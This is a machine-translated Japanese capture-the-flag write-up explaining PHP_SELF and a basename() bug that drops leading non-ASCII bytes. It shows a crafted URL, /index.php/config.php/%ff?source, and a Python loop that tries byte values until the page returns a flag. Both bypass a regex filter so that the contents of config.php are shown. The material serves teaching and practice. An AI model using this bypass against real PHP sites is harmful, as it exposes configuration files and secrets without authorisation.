事前知識
学んだいくつかの新しい関数と変数
新しい変数属性-PHP_SELF
$_SERVER['PHP_SELF']
ドキュメントのルートに関連する、Webサイトのルートディレクトリを基準にした現在のphpファイルの場所のアドレスを示します。
以下はローカルテストのスクリーンショットです。http://.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']
新しいphp関数-basename
basename()
この関数は、パスのファイル名の部分を返します。
パスが/index.php/config.phpの場合、
ブラウザーの分析結果はindex.phpで
あり、basenameはconfig.phpを返し
ます。その後に余分な文字が続く場合でも、ファイル名の部分も返します。
非ASCII文字で壊れたベース名
以下は[公式ウェブサイト](https://bugs.php.net/bug.php?id=62119)からの英語の説明です
デフォルトのロケール設定「C」では、basename()は
ファイル名の先頭に非ASCII文字をドロップします。
var_dump(basename("xffconfig.php")); // => config.php
var_dump(basename("config.php/xff")); // => config.php
簡単に言えばbasename()
、関数に問題があり、ファイル名の先頭にある非ASCII値が削除されます
WPパート
この質問は実際には非常に単純です。上記の関数を知った後、コード監査後の最も重要な部分は通常のフィルタリング/config.php/*$/i
です。それをバイパスするだけで済みます。理由は非常に単純です。
これはマッチングテールである
ため、作成xxxxx.node3.buuoj.cn/index.php/config.php/%ff?source
するだけで済みます。
一方では、通常のマッチングをバイパスします。他方ではisset
、それを取得するために満足します。config.php
もちろん、スクリプトを使用して、どの文字が除外されないかを試すこともできます。
import requests
import re
for i in range(0,255):
url ='xxxxx.node3.buuoj.cn/index.php/config.php/{}?source'.format(chr(i))
print(url)
r = requests.get(url)
flag = re.findall("flag\{.*?\}", r.text)
if flag:
print(flag)
break